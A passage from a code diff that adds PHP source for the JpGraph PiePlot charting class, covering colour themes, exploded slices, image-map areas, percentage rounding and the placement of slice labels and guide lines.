+    protected $weight=1, $color="black";
+    protected $legend_margin=6,$show_labels=true;
+    protected $themearr = array(
+	"earth" 	=> array(136,34,40,45,46,62,63,134,74,10,120,136,141,168,180,77,209,218,346,395,89,430),
+	"pastel" => array(27,415,128,59,66,79,105,110,42,147,152,230,236,240,331,337,405,38),
+	"water"  => array(8,370,24,40,335,56,213,237,268,14,326,387,10,388),
+	"sand"   => array(27,168,34,170,19,50,65,72,131,209,46,393));
+    protected $theme="earth";
+    protected $setslicecolors=array();
+    protected $labeltype=0; // Default to percentage
+    protected $pie_border=true,$pie_interior_border=true;
+    public $value;
+    protected $ishadowcolor='',$ishadowdrop=4;
+    protected $ilabelposadj=1;
+    protected $legendcsimtargets = array(),$legendcsimwintargets = array();
+    protected $legendcsimalts = array();
+    protected $adjusted_data = array();
+    public $guideline = null;
+    protected $guidelinemargin=10,$iShowGuideLineForSingle = false;
+    protected $iGuideLineCurve = false,$iGuideVFactor=1.4,$iGuideLineRFactor=0.8;
+    protected $la = array(); // Holds the exact angle for each label
+	
+//---------------
+// CONSTRUCTOR
+    function PiePlot($data) {
+	$this->data = array_reverse($data);
+	$this->title = new Text("");
+	$this->title->SetFont(FF_FONT1,FS_BOLD);
+	$this->value = new DisplayValue();
+	$this->value->Show();
+	$this->value->SetFormat('%.1f%%');
+	$this->guideline = new LineProperty();
+    }
+
+//---------------
+// PUBLIC METHODS	
+    function SetCenter($x,$y=0.5) {
+	$this->posx = $x;
+	$this->posy = $y;
+    }
+
+    // Enable guideline and set drwaing policy
+    function SetGuideLines($aFlg=true,$aCurved=true,$aAlways=false) {
+	$this->guideline->Show($aFlg);
+	$this->iShowGuideLineForSingle = $aAlways;
+	$this->iGuideLineCurve = $aCurved;
+    }
+
+    // Adjuste the distance between labels and labels and pie
+    function SetGuideLinesAdjust($aVFactor,$aRFactor=0.8) {
+	$this->iGuideVFactor=$aVFactor;
+	$this->iGuideLineRFactor=$aRFactor;
+    }
+
+    function SetColor($aColor) {
+	$this->color = $aColor;
+    }
+	
+    function SetSliceColors($aColors) {
+	$this->setslicecolors = $aColors;
+    }
+	
+    function SetShadow($aColor='darkgray',$aDropWidth=4) {
+	$this->ishadowcolor = $aColor;
+	$this->ishadowdrop = $aDropWidth;
+    }
+
+    function SetCSIMTargets($aTargets,$aAlts='',$aWinTargets='') {
+	$this->csimtargets=array_reverse($aTargets);
+	if( is_array($aWinTargets) )
+	    $this->csimwintargets=array_reverse($aWinTargets);
+	if( is_array($aAlts) )
+	    $this->csimalts=array_reverse($aAlts);
+    }
+	
+    function GetCSIMareas() {
+	return $this->csimareas;
+    }
+
+    function AddSliceToCSIM($i,$xc,$yc,$radius,$sa,$ea) {  
+        //Slice number, ellipse centre (x,y), height, width, start angle, end angle
+	while( $sa > 2*M_PI ) $sa = $sa - 2*M_PI;
+	while( $ea > 2*M_PI ) $ea = $ea - 2*M_PI;
+
+	$sa = 2*M_PI - $sa;
+	$ea = 2*M_PI - $ea;
+
+	// Special case when we have only one slice since then both start and end
+	// angle will be == 0
+	if( abs($sa - $ea) < 0.0001 ) {
+	    $sa=2*M_PI; $ea=0;
+	}
+
+	//add coordinates of the centre to the map
+	$xc = floor($xc);$yc=floor($yc);
+	$coords = "$xc, $yc";
+
+	//add coordinates of the first point on the arc to the map
+	$xp = floor(($radius*cos($ea))+$xc);
+	$yp = floor($yc-$radius*sin($ea));
+	$coords.= ", $xp, $yp";
+	
+	//add coordinates every 0.2 radians
+	$a=$ea+0.2;
+
+	// If we cross the 360-limit with a slice we need to handle
+	// the fact that end angle is smaller than start
+	if( $sa < $ea ) {
+	    while ($a <= 2*M_PI) {
+		$xp = floor($radius*cos($a)+$xc);
+		$yp = floor($yc-$radius*sin($a));
+		$coords.= ", $xp, $yp";
+		$a += 0.2;
+	    }
+	    $a -= 2*M_PI;
+	}
+
+
+	while ($a < $sa) {
+	    $xp = floor($radius*cos($a)+$xc);
+	    $yp = floor($yc-$radius*sin($a));
+	    $coords.= ", $xp, $yp";
+	    $a += 0.2;
+	}
+		
+	//Add the last point on the arc
+	$xp = floor($radius*cos($sa)+$xc);
+	$yp = floor($yc-$radius*sin($sa));
+	$coords.= ", $xp, $yp";
+	if( !empty($this->csimtargets[$i]) ) {
+	    $this->csimareas .= "<area shape=\"poly\" coords=\"$coords\" href=\"".$this->csimtargets[$i]."\"";
+	    $tmp="";
+	    if( !empty($this->csimwintargets[$i]) ) {
+		$this->csimareas .= " target=\"".$this->csimwintargets[$i]."\" "; 
+	    }
+	    if( !empty($this->csimalts[$i]) ) {
+		$tmp=sprintf($this->csimalts[$i],$this->data[$i]);
+		$this->csimareas .= " title=\"$tmp\" alt=\"$tmp\" ";
+	    }
+	    $this->csimareas .= " />\n";
+	}
+    }
+
+	
+    function SetTheme($aTheme) {
+	if( in_array($aTheme,array_keys($this->themearr)) )
+	    $this->theme = $aTheme;
+	else
+	    JpGraphError::RaiseL(15001,$aTheme);//("PiePLot::SetTheme() Unknown theme: $aTheme");
+    }
+	
+    function ExplodeSlice($e,$radius=20) {
+	if( ! is_integer($e) ) 
+	    JpGraphError::RaiseL(15002);//('Argument to PiePlot::ExplodeSlice() must be an integer');
+	$this->explode_radius[$e]=$radius;
+    }
+
+    function ExplodeAll($radius=20) {
+	$this->explode_all=true;
+	$this->explode_r = $radius;
+    }
+
+    function Explode($aExplodeArr) {
+	if( !is_array($aExplodeArr) ) {
+	    JpGraphError::RaiseL(15003);
+//("Argument to PiePlot::Explode() must be an array with integer distances.");
+	}
+	$this->explode_radius = $aExplodeArr;
+    }
+
+    function SetStartAngle($aStart) {
+	if( $aStart < 0 || $aStart > 360 ) {
+	    JpGraphError::RaiseL(15004);//('Slice start angle must be between 0 and 360 degrees.');
+	}
+	$this->startangle = 360-$aStart;
+	$this->startangle *= M_PI/180;
+    }
+	
+    function SetFont($family,$style=FS_NORMAL,$size=10) {
+	JpGraphError::RaiseL(15005);//('PiePlot::SetFont() is deprecated. Use PiePlot->value->SetFont() instead.');
+    }
+	
+    // Size in percentage
+    function SetSize($aSize) {
+	if( ($aSize>0 && $aSize<=0.5) || ($aSize>10 && $aSize<1000) )
+	    $this->radius = $aSize;
+	else
+	    JpGraphError::RaiseL(15006);
+//("PiePlot::SetSize() Radius for pie must either be specified as a fraction [0, 0.5] of the size of the image or as an absolute size in pixels  in the range [10, 1000]");
+    }
+	
+    function SetFontColor($aColor) {
+	JpGraphError::RaiseL(15007);
+//('PiePlot::SetFontColor() is deprecated. Use PiePlot->value->SetColor() instead.');
+    }
+	
+    // Set label arrays
+    function SetLegends($aLegend) {
+	$this->legends = $aLegend;
+    }
+
+    // Set text labels for slices 
+    function SetLabels($aLabels,$aLblPosAdj="auto") {
+	$this->labels = array_reverse($aLabels);
+	$this->ilabelposadj=$aLblPosAdj;
+    }
+
+    function SetLabelPos($aLblPosAdj) {
+	$this->ilabelposadj=$aLblPosAdj;
+    }
+	
+    // Should we display actual value or percentage?
+    function SetLabelType($t) {
+	if( $t < 0 || $t > 2 ) 
+	    JpGraphError::RaiseL(15008,$t);
+//("PiePlot::SetLabelType() Type for pie plots must be 0 or 1 (not $t).");
+	$this->labeltype=$t;
+    }
+
+    // Deprecated. 
+    function SetValueType($aType) {
+	$this->SetLabelType($aType);
+    }
+
+    // Should the circle around a pie plot be displayed
+    function ShowBorder($exterior=true,$interior=true) {
+	$this->pie_border = $exterior;
+	$this->pie_interior_border = $interior;
+    }
+	
+    // Setup the legends
+    function Legend($graph) {
+	$colors = array_keys($graph->img->rgb->rgb_table);
+   	sort($colors);	
+   	$ta=$this->themearr[$this->theme];	
+   	$n = count($this->data);
+
+   	if( $this->setslicecolors==null ) {
+	    $numcolors=count($ta);
+	    if( class_exists('PiePlot3D',false) && ($this instanceof PiePlot3D) ) {
+		$ta = array_reverse(array_slice($ta,0,$n));
+	    }
+	}
+   	else {
+	    $this->setslicecolors = array_slice($this->setslicecolors,0,$n);
+	    $numcolors=count($this->setslicecolors); 
+	    if( $graph->pieaa && !($this instanceof PiePlot3D) ) { 
+		$this->setslicecolors = array_reverse($this->setslicecolors);
+	    }
+	}
+		
+	$sum=0;
+	for($i=0; $i < $n; ++$i)
+	    $sum += $this->data[$i];
+
+	// Bail out with error if the sum is 0
+	if( $sum==0 )
+	    JpGraphError::RaiseL(15009);//("Illegal pie plot. Sum of all data is zero for Pie!");
+
+	// Make sure we don't plot more values than data points
+	// (in case the user added more legends than data points)
+	$n = min(count($this->legends),count($this->data));
+	if( $this->legends != "" ) {
+	    $this->legends = array_reverse(array_slice($this->legends,0,$n));
+	}
+	for( $i=$n-1; $i >= 0; --$i ) {
+	    $l = $this->legends[$i];
+	    // Replace possible format with actual values
+	    if( count($this->csimalts) > $i ) {
+		$fmt = $this->csimalts[$i];
+	    }
+	    else {
+		$fmt = "%d"; // Deafult Alt if no other has been specified
+	    }
+	    if( $this->labeltype==0 ) {
+		$l = sprintf($l,100*$this->data[$i]/$sum);
+		$alt = sprintf($fmt,$this->data[$i]);
+		
+	    }
+	    elseif( $this->labeltype == 1)  {
+		$l = sprintf($l,$this->data[$i]);
+		$alt = sprintf($fmt,$this->data[$i]);
+		
+	    }
+	    else {
+		$l = sprintf($l,$this->adjusted_data[$i]);
+		$alt = sprintf($fmt,$this->adjusted_data[$i]);
+	    }
+
+	    if( empty($this->csimwintargets[$i]) ) {
+		$wintarg = '';
+	    }
+	    else {
+		$wintarg = $this->csimwintargets[$i];
+	    }
+
+	    if( $this->setslicecolors==null ) {
+		$graph->legend->Add($l,$colors[$ta[$i%$numcolors]],"",0,$this->csimtargets[$i],$alt,$wintarg);
+	    }
+	    else {
+		$graph->legend->Add($l,$this->setslicecolors[$i%$numcolors],"",0,$this->csimtargets[$i],$alt,$wintarg);
+	    }
+	}
+    }
+	
+    // Adjust the rounded percetage value so that the sum of
+    // of the pie slices are always 100%
+    // Using the Hare/Niemeyer method
+    function AdjPercentage($aData,$aPrec=0) {
+	$mul=100;
+	if( $aPrec > 0 && $aPrec < 3 ) {
+	    if( $aPrec == 1 ) 
+		$mul=1000;
+		else
+		    $mul=10000;
+	}
+	
+	$tmp = array();
+	$result = array();
+	$quote_sum=0;
+	$n = count($aData) ;
+	for( $i=0, $sum=0; $i < $n; ++$i )
+	    $sum+=$aData[$i];
+	foreach($aData as $index => $value) {
+	    $tmp_percentage=$value/$sum*$mul;
+	    $result[$index]=floor($tmp_percentage);
+	    $tmp[$index]=$tmp_percentage-$result[$index];
+	    $quote_sum+=$result[$index];
+	}
+	if( $quote_sum == $mul) {
+	    if( $mul > 100 ) {
+		$tmp = $mul / 100;
+		for( $i=0; $i < $n; ++$i ) {
+		    $result[$i] /= $tmp ;
+		}
+	    }
+	    return $result;
+	}
+	arsort($tmp,SORT_NUMERIC);
+	reset($tmp);
+	for($i=0; $i < $mul-$quote_sum; $i++)
+	{
+	    $result[key($tmp)]++;
+	    next($tmp);
+	}
+	if( $mul > 100 ) {
+	    $tmp = $mul / 100;
+	    for( $i=0; $i < $n; ++$i ) {
+		$result[$i] /= $tmp ;
+	    }
+	}
+	return $result;
+    }
+
+
+    function Stroke($img,$aaoption=0) {
+	// aaoption is used to handle antialias
+	// aaoption == 0 a normal pie
+	// aaoption == 1 just the body
+	// aaoption == 2 just the values
+
+	// Explode scaling. If anti anti alias we scale the image
+	// twice and we also need to scale the exploding distance
+	$expscale = $aaoption === 1 ? 2 : 1;
+
+	if( $this->labeltype == 2 ) {
+	    // Adjust the data so that it will add up to 100%
+	    $this->adjusted_data = $this->AdjPercentage($this->data);
+	}
+
+	$colors = array_keys($img->rgb->rgb_table);
+   	sort($colors);	
+   	$ta=$this->themearr[$this->theme];	
+	$n = count($this->data);
+   	
+   	if( $this->setslicecolors==null ) {
+	    $numcolors=count($ta);
+	}
+   	else {
+	    // We need to create an array of colors as long as the data
+	    // since we need to reverse it to get the colors in the right order
+	    $numcolors=count($this->setslicecolors); 
+	    $i = 2*$numcolors;
+	    while( $n > $i ) {
+		$this->setslicecolors = array_merge($this->setslicecolors,$this->setslicecolors);
+		$i += $n;
+	    }
+	    $tt = array_slice($this->setslicecolors,0,$n % $numcolors);
+	    $this->setslicecolors = array_merge($this->setslicecolors,$tt);
+	    $this->setslicecolors = array_reverse($this->setslicecolors);
+	}
+
+	// Draw the slices
+	$sum=0;
+	for($i=0; $i < $n; ++$i)
+	    $sum += $this->data[$i];
+	
+	// Bail out with error if the sum is 0
+	if( $sum==0 )
+	    JpGraphError::RaiseL(15009);//("Sum of all data is 0 for Pie.");
+	
+	// Set up the pie-circle
+	if( $this->radius <= 1 )
+	    $radius = floor($this->radius*min($img->width,$img->height));
+	else {
+	    $radius = $aaoption === 1 ? $this->radius*2 : $this->radius;
+	}
+
+	if( $this->posx <= 1 && $this->posx > 0 )
+	    $xc = round($this->posx*$img->width);
+	else
+	    $xc = $this->posx ;
+	
+	if( $this->posy <= 1 && $this->posy > 0 )
+	    $yc = round($this->posy*$img->height);
+	else
+	    $yc = $this->posy ;
+		
+	$n = count($this->data);
+
+	if( $this->explode_all )
+	    for($i=0; $i < $n; ++$i)
+		$this->explode_radius[$i]=$this->explode_r;
+
+	// If we have a shadow and not just drawing the labels
+	if( $this->ishadowcolor != "" && $aaoption !== 2) {
+	    $accsum=0;
+	    $angle2 = $this->startangle;
+	    $img->SetColor($this->ishadowcolor);
+	    for($i=0; $sum > 0 && $i < $n; ++$i) {
+		$j = $n-$i-1;
+		$d = $this->data[$i];
+		$angle1 = $angle2;
+		$accsum += $d;
+		$angle2 = $this->startangle+2*M_PI*$accsum/$sum;
+		if( empty($this->explode_radius[$j]) )
+		    $this->explode_radius[$j]=0;
+
+		if( $d < 0.00001 ) continue;
+
+		$la = 2*M_PI - (abs($angle2-$angle1)/2.0+$angle1);
+
+		$xcm = $xc + $this->explode_radius[$j]*cos($la)*$expscale;
+		$ycm = $yc - $this->explode_radius[$j]*sin($la)*$expscale;
+		
+		$xcm += $this->ishadowdrop*$expscale;
+		$ycm += $this->ishadowdrop*$expscale;
+
+		$_sa = round($angle1*180/M_PI);
+		$_ea = round($angle2*180/M_PI);
+
+		// The CakeSlice method draws a full circle in case of start angle = end angle
+		// for pie slices we don't want this behaviour unless we only have one
+		// slice in the pie in case it is the wanted behaviour
+		if( $_ea-$_sa > 0.1 || $n==1 ) {
+		    $img->CakeSlice($xcm,$ycm,$radius-1,$radius-1,
+				    $angle1*180/M_PI,$angle2*180/M_PI,$this->ishadowcolor);
+		}
+	    }
+	}
+
+	//--------------------------------------------------------------------------------
+	// This is the main loop to draw each cake slice
+	//--------------------------------------------------------------------------------
+
+	// Set up the accumulated sum, start angle for first slice and border color
+	$accsum=0;
+	$angle2 = $this->startangle;
+	$img->SetColor($this->color);
+
+	// Loop though all the slices if there is a pie to draw (sum>0)
+	// There are n slices in total
+	for($i=0; $sum>0 && $i < $n; ++$i) {
+
+	    // $j is the actual index used for the slice
+	    $j = $n-$i-1;
+
+	    // Make sure we havea  valid distance to explode the slice
+	    if( empty($this->explode_radius[$j]) )
+		$this->explode_radius[$j]=0;
+
+	    // The actual numeric value for the slice
+	    $d = $this->data[$i];
+
+	    $angle1 = $angle2;
+
+	    // Accumlate the sum
+	    $accsum += $d;
+
+	    // The new angle when we add the "size" of this slice
+	    // angle1 is then the start and angle2 the end of this slice
+	    $angle2 = $this->NormAngle($this->startangle+2*M_PI*$accsum/$sum);
+
+	    // We avoid some trouble by not allowing end angle to be 0, in that case
+	    // we translate to 360
+
+
+	    // la is used to hold the label angle, which is centered on the slice
+	    if( $angle2 < 0.0001 && $angle1 > 0.0001 ) {
+		$this->la[$i] = 2*M_PI - (abs(2*M_PI-$angle1)/2.0+$angle1);
+	    }
+	    elseif( $angle1 > $angle2 ) {
+		// The case where the slice crosses the 3 a'clock line
+		// Remember that the slices are counted clockwise and
+		// labels are counted counter clockwise so we need to revert with 2 PI
+		$this->la[$i] = 2*M_PI-$this->NormAngle($angle1 + ((2*M_PI - $angle1)+$angle2)/2);
+	    }
+	    else {
+		$this->la[$i] = 2*M_PI - (abs($angle2-$angle1)/2.0+$angle1);
+	    }
+
+	    // Too avoid rounding problems we skip the slice if it is too small
+	    if( $d < 0.00001 ) continue;
+
+	    // If the user has specified an array of colors for each slice then use
+	    // that a color otherwise use the theme array (ta) of colors
+	    if( $this->setslicecolors==null )
+		$slicecolor=$colors[$ta[$i%$numcolors]];
+	    else
+		$slicecolor=$this->setslicecolors[$i%$numcolors];
+	    
+
+	    
+//$_sa = round($angle1*180/M_PI);
+//$_ea = round($angle2*180/M_PI);
+//$_la = round($this->la[$i]*180/M_PI);
+//echo "ang1=$_sa , ang2=$_ea, la=$_la, color=$slicecolor<br>";
+
+
+	    // If we have enabled antialias then we don't draw any border so
+	    // make the bordedr color the same as the slice color
+	    if( $this->pie_interior_border && $aaoption===0 )
+		$img->SetColor($this->color);
+	    else
+		$img->SetColor($slicecolor);	    
+	    $arccolor = $this->pie_border && $aaoption===0 ? $this->color : "";
+
+	    // Calculate the x,y coordinates for the base of this slice taking
+	    // the exploded distance into account. Here we use the mid angle as the
+	    // ray of extension and we have the mid angle handy as it is also the
+	    // label angle
+	    $xcm = $xc + $this->explode_radius[$j]*cos($this->la[$i])*$expscale;
+	    $ycm = $yc - $this->explode_radius[$j]*sin($this->la[$i])*$expscale;
+
+	    // If we are not just drawing the labels then draw this cake slice
+	    if( $aaoption !== 2 ) {
+
+		
+		$_sa = round($angle1*180/M_PI);
+		$_ea = round($angle2*180/M_PI);
+		$_la = round($this->la[$i]*180/M_PI);
+		//echo "[$i] sa=$_sa, ea=$_ea, la[$i]=$_la, (color=$slicecolor)<br>";
+		
+
+		// The CakeSlice method draws a full circle in case of start angle = end angle
+		// for pie slices we don't want this behaviour unless we only have one
+		// slice in the pie in case it is the wanted behaviour
+		if( abs($_ea-$_sa) > 0.1 || $n==1 ) {
+		    $img->CakeSlice($xcm,$ycm,$radius-1,$radius-1,$_sa,$_ea,$slicecolor,$arccolor);
+		}
+	    }
+
+	    // If the CSIM is used then make sure we register a CSIM area for this slice as well
+	    if( $this->csimtargets && $aaoption !== 1 ) {
+		$this->AddSliceToCSIM($i,$xcm,$ycm,$radius,$angle1,$angle2);
+	    }
+	}
+
+	// Format the titles for each slice
+	if( $aaoption !== 2 ) {
+	    for( $i=0; $i < $n; ++$i) {
+		if( $this->labeltype==0 ) {
+		    if( $sum != 0 )
+			$l = 100.0*$this->data[$i]/$sum;
+		    else
+			$l = 0.0;
+		}
+		elseif( $this->labeltype==1 ) {
+		    $l = $this->data[$i]*1.0;
+		}
+		else {
+		    $l = $this->adjusted_data[$i];
+		}
+		if( isset($this->labels[$i]) && is_string($this->labels[$i]) )
+		    $this->labels[$i]=sprintf($this->labels[$i],$l);
+		else
+		    $this->labels[$i]=$l;
+	    }
+	}
+
+	if( $this->value->show && $aaoption !== 1 ) {
+	    $this->StrokeAllLabels($img,$xc,$yc,$radius);
+	}
+
+	// Adjust title position
+	if( $aaoption !== 1 ) {
+	    $this->title->SetPos($xc,
+			  $yc-$this->title->GetFontHeight($img)-$radius-$this->title->margin,
+			  "center","bottom");
+	    $this->title->Stroke($img);
+	}
+
+    }
+
+//---------------
+// PRIVATE METHODS	
+
+    function NormAngle($a) {
+	while( $a < 0 ) $a += 2*M_PI;
+	while( $a > 2*M_PI ) $a -= 2*M_PI;
+	return $a;
+    }
+
+    function Quadrant($a) {
+	$a=$this->NormAngle($a);
+	if( $a > 0 && $a <= M_PI/2 )
+	    return 0;
+	if( $a > M_PI/2 && $a <= M_PI )
+	    return 1;
+	if( $a > M_PI && $a <= 1.5*M_PI )
+	    return 2;
+	if( $a > 1.5*M_PI )
+	    return 3;
+    }
+
+    function StrokeGuideLabels($img,$xc,$yc,$radius) {
+	$n = count($this->labels);
+
+	//-----------------------------------------------------------------------
+	// Step 1 of the algorithm is to construct a number of clusters
+	// a cluster is defined as all slices within the same quadrant (almost)
+	// that has an angular distance less than the treshold
+	//-----------------------------------------------------------------------
+	$tresh_hold=25 * M_PI/180; // 25 degrees difference to be in a cluster
+	$incluster=false;	// flag if we are currently in a cluster or not
+	$clusters = array();	// array of clusters
+	$cidx=-1;		// running cluster index
+
+	// Go through all the labels and construct a number of clusters
+	for($i=0; $i < $n-1; ++$i) {
+	    // Calc the angle distance between two consecutive slices
+	    $a1=$this->la[$i];
+	    $a2=$this->la[$i+1];
+	    $q1 = $this->Quadrant($a1);
+	    $q2 = $this->Quadrant($a2);
+	    $diff = abs($a1-$a2);
+	    if( $diff < $tresh_hold ) {
+		if( $incluster ) {
+		    $clusters[$cidx][1]++;
+		    // Each cluster can only cover one quadrant
+		    // Do we cross a quadrant ( and must break the cluster)
+		    if( $q1 !=  $q2 ) {
+			// If we cross a quadrant boundary we normally start a 
+			// new cluster. However we need to take the 12'a clock
+			// and 6'a clock positions into a special consideration.
+			// Case 1: WE go from q=1 to q=2 if the last slice on
+			// the cluster for q=1 is close to 12'a clock and the 
+			// first slice in q=0 is small we extend the previous
+			// cluster
+			if( $q1 == 1 && $q2 == 0 && $a2 > (90-15)*M_PI/180 ) {
+			    if( $i < $n-2 ) {
+				$a3 = $this->la[$i+2];
+				// If there isn't a cluster coming up with the next-next slice
+				// we extend the previous cluster to cover this slice as well
+				if( abs($a3-$a2) >= $tresh_hold ) {
+				    $clusters[$cidx][1]++;
+				    $i++;
+				}
+			    }
+			}
+			elseif( $q1 == 3 && $q2 == 2 && $a2 > (270-15)*M_PI/180 ) {
+			    if( $i < $n-2 ) {
+				$a3 = $this->la[$i+2];
+				// If there isn't a cluster coming up with the next-next slice
+				// we extend the previous cluster to cover this slice as well
+				if( abs($a3-$a2) >= $tresh_hold ) {
+				    $clusters[$cidx][1]++;
+				    $i++;
+				}
+			    }
+			}
+
+			if( $q1==2 && $q2==1 && $a2 > (180-15)*M_PI/180 ) {
+			    $clusters[$cidx][1]++;
+			    $i++;			    
+			}
+			
+			$incluster = false;
+		    }
+		}
+		elseif( $q1 == $q2)  {
+		    $incluster = true;
+		    // Now we have a special case for quadrant 0. If we previously
+		    // have a cluster of one in quadrant 0 we just extend that
+		    // cluster. If we don't do this then we risk that the label
+		    // for the cluster of one will cross the guide-line
+		    if( $q1 == 0 && $cidx > -1 && 
+			$clusters[$cidx][1] == 1 && 
+			$this->Quadrant($this->la[$clusters[$cidx][0]]) == 0 ) {
+			$clusters[$cidx][1]++;
+		    }
+		    else {
+			$cidx++;
+			$clusters[$cidx][0] = $i;
+			$clusters[$cidx][1] = 1;
+		    }
+		}
+		else {  
+		    // Create a "cluster" of one since we are just crossing
+		    // a quadrant
+		    $cidx++;
+		    $clusters[$cidx][0] = $i;
+		    $clusters[$cidx][1] = 1;	    
+		}
+	    }
+	    else {
+		if( $incluster ) {
+		    // Add the last slice
+		    $clusters[$cidx][1]++;
+		    $incluster = false;
+		}
+		else { // Create a "cluster" of one
+		    $cidx++;
+		    $clusters[$cidx][0] = $i;
+		    $clusters[$cidx][1] = 1;	    
+		}
+	    }
+	}
+	// Handle the very last slice
+	if( $incluster ) {
+	    $clusters[$cidx][1]++;
+	}
+	else { // Create a "cluster" of one
+	    $cidx++;
+	    $clusters[$cidx][0] = $i;
+	    $clusters[$cidx][1] = 1;	    
+	}
+
+	/*
+	if( true ) { 
+	    // Debug printout in labels
+	    for( $i=0; $i <= $cidx; ++$i ) {
+		for( $j=0; $j < $clusters[$i][1]; ++$j ) {
+		    $a = $this->la[$clusters[$i][0]+$j];
+		    $aa = round($a*180/M_PI);
+		    $q = $this->Quadrant($a);
+		    $this->labels[$clusters[$i][0]+$j]="[$q:$aa] $i:$j";
+		}
+	    }
+	}
+	*/
+
+	//-----------------------------------------------------------------------
+	// Step 2 of the algorithm is use the clusters and draw the labels
+	// and guidelines
+	//-----------------------------------------------------------------------
+
+	// We use the font height as the base factor for how far we need to
+	// spread the labels in the Y-direction.
+	$this->value->ApplyFont($img);
+	$fh = $img->GetFontHeight();
+	$origvstep=$fh*$this->iGuideVFactor;
+	$this->value->SetMargin(0);
+
+	// Number of clusters found
+	$nc = count($clusters);
+
+	// Walk through all the clusters
+	for($i=0; $i < $nc; ++$i) {
+
+	    // Start angle and number of slices in this cluster
+	    $csize = $clusters[$i][1];
+	    $a = $this->la[$clusters[$i][0]];
+	    $q = $this->Quadrant($a);
+
+	    // Now set up the start and end conditions to make sure that
+	    // in each cluster we walk through the all the slices starting with the slice
+	    // closest to the equator. Since all slices are numbered clockwise from "3'a clock"
+	    // we have different conditions depending on in which quadrant the slice lies within.
+	    if( $q == 0 ) {
+		$start = $csize-1; $idx = $start; $step = -1; $vstep = -$origvstep;
+	    }
+	    elseif( $q == 1 ) {
+		$start = 0; $idx = $start; $step = 1; $vstep = -$origvstep;
+	    }
+	    elseif( $q == 2 ) {
+		$start = $csize-1; $idx = $start; $step = -1; $vstep = $origvstep;
+	    }
+	    elseif( $q == 3 ) {
+		$start = 0; $idx = $start; $step = 1; $vstep = $origvstep;
+	    }
+
+	    // Walk through all slices within this cluster
+	    for($j=0; $j < $csize; ++$j) {   
+		// Now adjust the position of the labels in each cluster starting
+		// with the slice that is closest to the equator of the pie
+		$a = $this->la[$clusters[$i][0]+$idx];
+		    
+		// Guide line start in the center of the arc of the slice
+		$r = $radius+$this->explode_radius[$n-1-($clusters[$i][0]+$idx)];
+		$x = round($r*cos($a)+$xc);
+		$y = round($yc-$r*sin($a));
+		
+		// The distance from the arc depends on chosen font and the "R-Factor"
+		$r += $fh*$this->iGuideLineRFactor;
+
+		// Should the labels be placed curved along the pie or in straight columns
+		// outside the pie?
+		if( $this->iGuideLineCurve )
+		    $xt=round($r*cos($a)+$xc);
+
+		// If this is the first slice in the cluster we need some first time
+		// proessing
+		if( $idx == $start ) {
+		    if( ! $this->iGuideLineCurve )
+			$xt=round($r*cos($a)+$xc);
+		    $yt=round($yc-$r*sin($a));
+
+		    // Some special consideration in case this cluster starts
+		    // in quadrant 1 or 3 very close to the "equator" (< 20 degrees) 
+		    // and the previous clusters last slice is within the tolerance. 
+		    // In that case we add a font height to this labels Y-position 
+		    // so it doesn't collide with
+		    // the slice in the previous cluster
+		    $prevcluster = ($i + ($nc-1) ) % $nc;
+		    $previdx=$clusters[$prevcluster][0]+$clusters[$prevcluster][1]-1;
+		    if( $q == 1 && $a > 160*M_PI/180 ) {
+			// Get the angle for the previous clusters last slice
+			$diff = abs($a-$this->la[$previdx]);
+			 if( $diff < $tresh_hold ) {
+			     $yt -= $fh;
+			 }
+		    }
+		    elseif( $q == 3 && $a > 340*M_PI/180 ) {
+			// We need to subtract 360 to compare angle distance between
+			// q=0 and q=3
+			$diff = abs($a-$this->la[$previdx]-360*M_PI/180);
+			if( $diff < $tresh_hold ) {
+			     $yt += $fh;
+			}
+		    }
+
+		}
+		else {
+		    // The step is at minimum $vstep but if the slices are relatively large
+		    // we make sure that we add at least a step that corresponds to the vertical
+		    // distance between the centers at the arc on the slice
+		    $prev_a = $this->la[$clusters[$i][0]+($idx-$step)];
+		    $dy = abs($radius*(sin($a)-sin($prev_a))*1.2);
+		    if( $vstep > 0 )
+			$yt += max($vstep,$dy);
+		    else
+			$yt += min($vstep,-$dy);
+		}
+
+		$label = $this->labels[$clusters[$i][0]+$idx];
+
+		if( $csize == 1 ) {
+		    // A "meta" cluster with only one slice
+		    $r = $radius+$this->explode_radius[$n-1-($clusters[$i][0]+$idx)];
+		    $rr = $r+$img->GetFontHeight()/2;
+		    $xt=round($rr*cos($a)+$xc);
+		    $yt=round($yc-$rr*sin($a));
+		    $this->StrokeLabel($label,$img,$xc,$yc,$a,$r); 
+		    if( $this->iShowGuideLineForSingle ) 
+			$this->guideline->Stroke($img,$x,$y,$xt,$yt);
+		}
+		else {
+		    $this->guideline->Stroke($img,$x,$y,$xt,$yt);
+		    if( $q==1 || $q==2 ) {
+			// Left side of Pie
+			$this->guideline->Stroke($img,$xt,$yt,$xt-$this->guidelinemargin,$yt);
+			$lbladj = -$this->guidelinemargin-5;
+			$this->value->halign = "right";
+			$this->value->valign = "center";
+		    }
+		    else {
+			// Right side of pie
+			$this->guideline->Stroke($img,$xt,$yt,$xt+$this->guidelinemargin,$yt);
+			$lbladj = $this->guidelinemargin+5;
+			$this->value->halign = "left";
+			$this->value->valign = "center";
+		    }
+		    $this->value->Stroke($img,$label,$xt+$lbladj,$yt);
+		}
+
+		// Udate idx to point to next slice in the cluster to process
+		$idx += $step;
+	    }
+	}
+    }
+
+    function StrokeAllLabels($img,$xc,$yc,$radius) {
+	// First normalize all angles for labels
+	$n = count($this->la);
+	for($i=0; $i < $n; ++$i) {
+	    $this->la[$i] = $this->NormAngle($this->la[$i]);
+	}
+	if( $this->guideline->iShow ) {
+	    $this->StrokeGuideLabels($img,$xc,$yc,$radius);
+	}
+	else {
+	    $n = count($this->labels);
+	    for($i=0; $i < $n; ++$i) {
+		$this->StrokeLabel($this->labels[$i],$img,$xc,$yc,
+				   $this->la[$i],
+				   $radius + $this->explode_radius[$n-1-$i]); 
+	    }
+	}
+    }
+
+    // Position the labels of each slice
+    function StrokeLabel($label,$img,$xc,$yc,$a,$r) {
+
+	// Default value
+	if( $this->ilabelposadj === 'auto' )
+	    $this->ilabelposadj = 0.65;
+
+	// We position the values diferently depending on if they are inside
+	// or outside the pie
+	if( $this->ilabelposadj < 1.0 ) {
+
+	    $this->value->SetAlign('center','center');
+	    $this->value->margin = 0;
+	    
+	    $xt=round($this->ilabelposadj*$r*cos($a)+$xc);
+	    $yt=round($yc-$this->ilabelposadj*$r*sin($a));
+	    
+	    $this->value->Stroke($img,$label,$xt,$yt);
+	}
+	else {
+
+	    $this->value->halign = "left";
+	    $this->value->valign = "top";
+	    $this->value->margin = 0;
+	    	    
+	    // Position the axis title. 
